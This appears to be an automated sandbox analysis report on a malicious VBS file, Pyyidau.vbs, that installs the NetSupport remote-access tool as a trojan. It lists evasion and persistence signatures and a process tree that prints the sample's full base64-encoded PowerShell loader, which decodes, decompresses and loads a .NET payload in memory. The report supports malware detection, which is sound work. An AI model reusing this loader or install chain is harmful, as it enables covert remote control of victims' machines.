Edit tour
Windows
Analysis Report
Pyyidau.vbs
Overview
General Information
| Sample name: | Pyyidau.vbs |
| Analysis ID: | 1561295 |
| MD5: | c1108260f7a287cb16f93c11a40fbf90 |
| SHA1: | 8eab07aef27baae17d1ce013cce58b2b43dcaa1d |
| SHA256: | 484c7f54d1b5a6fbbb5cbcf0a01a3b7b9ddb77a7bfbd859cf68bb29b686db80c |
| Tags: | vbsuser-aachum |
| Infos: |   |
 | |
Detection
NetSupport RAT
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious encrypted Powershell command line found
Multi AV Scanner detection for submitted file
System process connects to network (likely due to code injection or exploit)
.NET source code contains potential unpacker
AI detected suspicious sample
Checks if the current machine is a virtual machine (disk enumeration)
Contains functionality to automate explorer (e.g. start an application)
Creates processes via WMI
Drops HTML or HTM files to system directories
Drops executables to the windows directory (C:\Windows) and starts them
Enables network access during safeboot for specific services
Found stalling execution ending in API Sleep call
Hides threads from debuggers
Potential malicious VBS script found (has network functionality)
Potential malicious VBS script found (suspicious strings)
Powershell is started from unusual location (likely to bypass HIPS)
Queries memory information (via WMI often done to detect virtual machines)
Queries pointing device information (via WMI, Win32_PointingDevice, often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Queries sensitive sound device information (via WMI, Win32_SoundDevice, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Reads the Security eventlog
Reads the System eventlog
Sample is not signed and drops a device driver
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Uses dynamic DNS services
Uses known network protocols on non-standard ports
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Yara detected Costura Assembly Loader
Adds / modifies Windows certificates
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for available system drives (often done to infect USB drives)
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to delete services
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read device registry values (via SetupAPI)
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Creates files inside the driver directory
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Enables driver privileges
Enables security privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evaded block containing many API calls
Found evasive API chain (may stop execution after checking a module file name)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
One or more processes crash
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
Potential key logger detected (key state polling based)
Queries device information via Setup API
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: PSScriptPolicyTest Creation By Uncommon Process
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Execution From GUID Like Folder Names
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected NetSupport remote tool
Classification
- System is w10x64
wscript.exe (PID: 7060 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Pyyid au.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
Pyyidau.vbs.exe (PID: 2916 cmdline: "C:\Users\ user\Deskt op\Pyyidau .vbs.exe" -enc JABBA HEAdwB3AHM AYwAgAD0AI ABbAFMAeQB zAHQAZQBtA C4ARABpAGE AZwBuAG8Ac wB0AGkAYwB zAC4AUAByA G8AYwBlAHM AcwBdADoAO gBHAGUAdAB DAHUAcgByA GUAbgB0AFA AcgBvAGMAZ QBzAHMAKAA pAC4ATQBhA GkAbgBNAG8 AZAB1AGwAZ QAuAEYAaQB sAGUATgBhA G0AZQAuAFI AZQBwAGwAY QBjAGUAKAA nAC4AZQB4A GUAJwAsACc AJwApADsAJ ABHAHkAaQB lAHAAZwBrA HcAdgByACA APQAgAGcAZ QB0AC0AYwB vAG4AdABlA G4AdAAgACQ AQQBxAHcAd wBzAGMAIAB 8ACAAUwBlA GwAZQBjAHQ ALQBPAGIAa gBlAGMAdAA gAC0ATABhA HMAdAAgADE AOwAgACQAW ABzAGwAbQB 3AG0AbwBxA GcAawB6ACA APQAgAFsAU wB5AHMAdAB lAG0ALgBDA G8AbgB2AGU AcgB0AF0AO gA6AEYAcgB vAG0AQgBhA HMAZQA2ADQ AUwB0AHIAa QBuAGcAKAA kAEcAeQBpA GUAcABnAGs AdwB2AHIAL gBSAGUAcAB sAGEAYwBlA CgAJwBSAEU ATQAgACcAL AAgACcAJwA pAC4AUgBlA HAAbABhAGM AZQAoACcAQ AAnACwAIAA nAEEAJwApA CkAOwAkAEk AdwBxAGIAd wBjACAAPQA gAE4AZQB3A C0ATwBiAGo AZQBjAHQAI ABTAHkAcwB 0AGUAbQAuA EkATwAuAE0 AZQBtAG8Ac gB5AFMAdAB yAGUAYQBtA CgAIAAsACA AJABYAHMAb ABtAHcAbQB vAHEAZwBrA HoAIAApADs AJABFAG0AY gBtAGUAcwB qAHMAbAAgA D0AIABOAGU AdwAtAE8AY gBqAGUAYwB 0ACAAUwB5A HMAdABlAG0 ALgBJAE8AL gBNAGUAbQB vAHIAeQBTA HQAcgBlAGE AbQA7ACQAU gB3AHAAdQB 4AHcAYQAgA D0AIABOAGU AdwAtAE8AY gBqAGUAYwB 0ACAAUwB5A HMAdABlAG0 ALgBJAE8AL gBDAG8AbQB wAHIAZQBzA HMAaQBvAG4 ALgBHAHoAa QBwAFMAdAB yAGUAYQBtA CAAJABJAHc AcQBiAHcAY wAsACAAKAB bAEkATwAuA EMAbwBtAHA AcgBlAHMAc wBpAG8AbgA uAEMAbwBtA HAAcgBlAHM AcwBpAG8Ab gBNAG8AZAB lAF0AOgA6A EQAZQBjAG8 AbQBwAHIAZ QBzAHMAKQA 7ACQAUgB3A HAAdQB4AHc AYQAuAEMAb wBwAHkAVAB vACgAIAAkA EUAbQBiAG0 AZQBzAGoAc wBsACAAKQA 7ACQAUgB3A HAAdQB4AHc AYQAuAEMAb ABvAHMAZQA oACkAOwAkA EkAdwBxAGI AdwBjAC4AQ wBsAG8AcwB lACgAKQA7A FsAYgB5AHQ AZQBbAF0AX QAgACQAWAB zAGwAbQB3A G0AbwBxAGc AawB6ACAAP QAgACQARQB tAGIAbQBlA HMAagBzAGw ALgBUAG8AQ QByAHIAYQB 5ACgAKQA7A FsAQQByAHI AYQB5AF0AO gA6AFIAZQB 2AGUAcgBzA GUAKAAkAFg AcwBsAG0Ad wBtAG8AcQB nAGsAegApA DsAIAAkAE4 AZgBrAGYAZ wB0AHQAcgA gAD0AIABbA FMAeQBzAHQ AZQBtAC4AV ABoAHIAZQB hAGQAaQBuA GcALgBUAGg AcgBlAGEAZ ABdADoAOgB HAGUAdABEA G8AbQBhAGk AbgAoACkAL gBMAG8AYQB kACgAJABYA HMAbABtAHc AbQBvAHEAZ wBrAHoAKQA 7ACAAJABBA HYAZgBuAHg AdQBrAG4Ac gBtAG0AIAA 9ACAAJABOA GYAawBmAGc AdAB0AHIAL gBFAG4AdAB yAHkAUABvA GkAbgB0ADs AIABbAFMAe QBzAHQAZQB tAC4ARABlA GwAZQBnAGE AdABlAF0AO gA6AEMAcgB lAGEAdABlA EQAZQBsAGU AZwBhAHQAZ QAoAFsAQQB jAHQAaQBvA G4AXQAsACA AJABBAHYAZ gBuAHgAdQB rAG4AcgBtA G0ALgBEAGU AYwBsAGEAc gBpAG4AZwB UAHkAcABlA CwAIAAkAEE AdgBmAG4Ae AB1AGsAbgB yAG0AbQAuA E4AYQBtAGU AKQAuAEQAe QBuAGEAbQB pAGMASQBuA HYAbwBrAGU AKAApACAAf AAgAE8AdQB 0AC0ATgB1A GwAbAA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
conhost.exe (PID: 2312 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 2496 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\Temp\50 d669f57313 5aafd57c.. vbs" MD5: FF00E0480075B095948000BDC66E81F0) 
msiexec.exe (PID: 6332 cmdline: "C:\Window s\SysWOW64 \msiexec.e xe" /i "C: \Users\use r\AppData\ Local\Temp \vrep.msi" /quiet MD5: 9D09DC1EDA745A5F87553048E57620CF) 
RegAsm.exe (PID: 6832 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 5480 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 2228 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 6316 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 7036 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 6272 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 6352 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 2060 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 6112 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 4484 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
- cmd.exe (PID: 6176 cmdline:
cmd /c cop y "C:\Wind ows\SysWOW 64\Windows PowerShell \v1.0\powe rshell.exe " "C:\User s\user\Des ktop\Pyyid au.vbs.exe " /Y MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 3128 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- msiexec.exe (PID: 2720 cmdline:
C:\Windows \system32\ msiexec.ex e /V MD5: E5DA170027542E25EDE42FC54C929077) - msiexec.exe (PID: 1344 cmdline:
C:\Windows \syswow64\ MsiExec.ex e -Embeddi ng 19326FA 0C651FB248 6638441C45 D4A3A MD5: 9D09DC1EDA745A5F87553048E57620CF) - cmd.exe (PID: 5016 cmdline:
cmd.exe /c ATTRIB -R "C:\Users \user\AppD ata\Local\ Temp\{CBB6 8368-7767- 4CFF-B3E5- 2114883467 02}\\nsm.l ic" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5268 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - attrib.exe (PID: 3384 cmdline:
ATTRIB -R "C:\Users\ user\AppDa ta\Local\T emp\{CBB68 368-7767-4 CFF-B3E5-2 1148834670 2}\\nsm.li c" MD5: 0E938DD280E83B1596EC6AA48729C2B0) 
MSI264F.tmp (PID: 3992 cmdline: "C:\Window s\Installe r\MSI264F. tmp" /G"C: \Program F iles (x86) \NetSuppor t\NetSuppo rt Manager \" /EU MD5: 0FCF65C63E08E77732224B2D5D959F13) - msiexec.exe (PID: 3888 cmdline:
C:\Windows \syswow64\ MsiExec.ex e -Embeddi ng 6881B33 184DF9141E 848EAD78A4 11E72 E Gl obal\MSI00 00 MD5: 9D09DC1EDA745A5F87553048E57620CF) - MSI2BE4.tmp (PID: 3084 cmdline:
"C:\Window s\Installe r\MSI2BE4. tmp" /G"C: \Program F iles (x86) \NetSuppor t\NetSuppo rt Manager \" /EU MD5: 0FCF65C63E08E77732224B2D5D959F13) - checkdvd.exe (PID: 5936 cmdline:
"C:\Progra m Files (x 86)\NetSup port\NetSu pport Mana ger\checkd vd.exe" MD5: FE7D9DC26FF1615C13722E0F2DD3B815) - MSI3FCC.tmp (PID: 928 cmdline:
"C:\Window s\Installe r\MSI3FCC. tmp" /G"C: \Program F iles (x86) \NetSuppor t\NetSuppo rt Manager \" /EV"Net Support Sc hool" /EF" .\Log File s" /EF".\B ookmarks" /EF".\Test s" /EF".\S tore" /EF" .\inv" /EF ".\Resourc es" /EF".\ Help" /EF" .\Image" / EF".\Sound " /EF".\Vi deo" /EA / EX /EC /Q /V /Q /I * MD5: 0FCF65C63E08E77732224B2D5D959F13) - winst64.exe (PID: 2816 cmdline:
winst64.ex e /q /q /e x /i MD5: 96E987D909600D34DD70C55F56EB8869) - MSI51C1.tmp (PID: 6020 cmdline:
"C:\Window s\Installe r\MSI51C1. tmp" /G"C: \Program F iles (x86) \NetSuppor t\NetSuppo rt Manager \" /EI MD5: 0FCF65C63E08E77732224B2D5D959F13) 
pcicfgui_client.exe (PID: 6340 cmdline: "C:\Progra m Files (x 86)\NetSup port\NetSu pport Mana ger\pcicfg ui_client. exe" /Q "C :\Program Files (x86 )\NetSuppo rt\NetSupp ort Manage r\Client32 .ini" MD5: B8ACD5C9E200166C6B4E5001AEEEAF20) - pcicfgui_client.exe (PID: 6396 cmdline:
"C:\Progra m Files (x 86)\NetSup port\NetSu pport Mana ger\pcicfg ui_client. exe" MD5: B8ACD5C9E200166C6B4E5001AEEEAF20)
client32.exe (PID: 2676 cmdline: "C:\Progra m Files (x 86)\NetSup port\NetSu pport Mana ger\client 32.exe" /* * MD5: 297EA82401ACBEAD6BA4B19880DF2B8C) - client32.exe (PID: 6420 cmdline:
"C:\Progra m Files (x 86)\NetSup port\NetSu pport Mana ger\client 32.exe" * /VistaUI MD5: 297EA82401ACBEAD6BA4B19880DF2B8C) - client32.exe (PID: 4296 cmdline:
"C:\Progra m Files (x 86)\NetSup port\NetSu pport Mana ger\client 32.exe" * /VistaUI MD5: 297EA82401ACBEAD6BA4B19880DF2B8C) 
cscript.exe (PID: 3352 cmdline: "cscript.e xe" C:\Win dows\syste m32\Printi ng_Admin_S cripts\en- US\prnport .vbs -a -r NSM001 -h 127.0.0.1 -o raw -n 49850 MD5: CB601B41D4C8074BE8A84AED564A94DC) - conhost.exe (PID: 1360 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - client32.exe (PID: 3904 cmdline:
"C:\Progra m Files (x 86)\NetSup port\NetSu pport Mana ger\client 32.exe" * /VistaUI MD5: 297EA82401ACBEAD6BA4B19880DF2B8C)
- svchost.exe (PID: 1892 cmdline:
C:\Windows \System32\ svchost.ex e -k WerSv cGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A) 
WerFault.exe (PID: 5720 cmdline: C:\Windows \SysWOW64\ WerFault.e xe -pss -s 444 -p 42 96 -ip 429 6 MD5: C31336C1EFC2CCB44B4326EA793040F2)
- svchost.exe (PID: 3084 cmdline:
C:\Windows \System32\ svchost.ex e -k Netwo rkService -p -s Tapi Srv MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| Click to see the 66 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| Click to see the 68 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
| Click to see the 42 entries | ||||
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||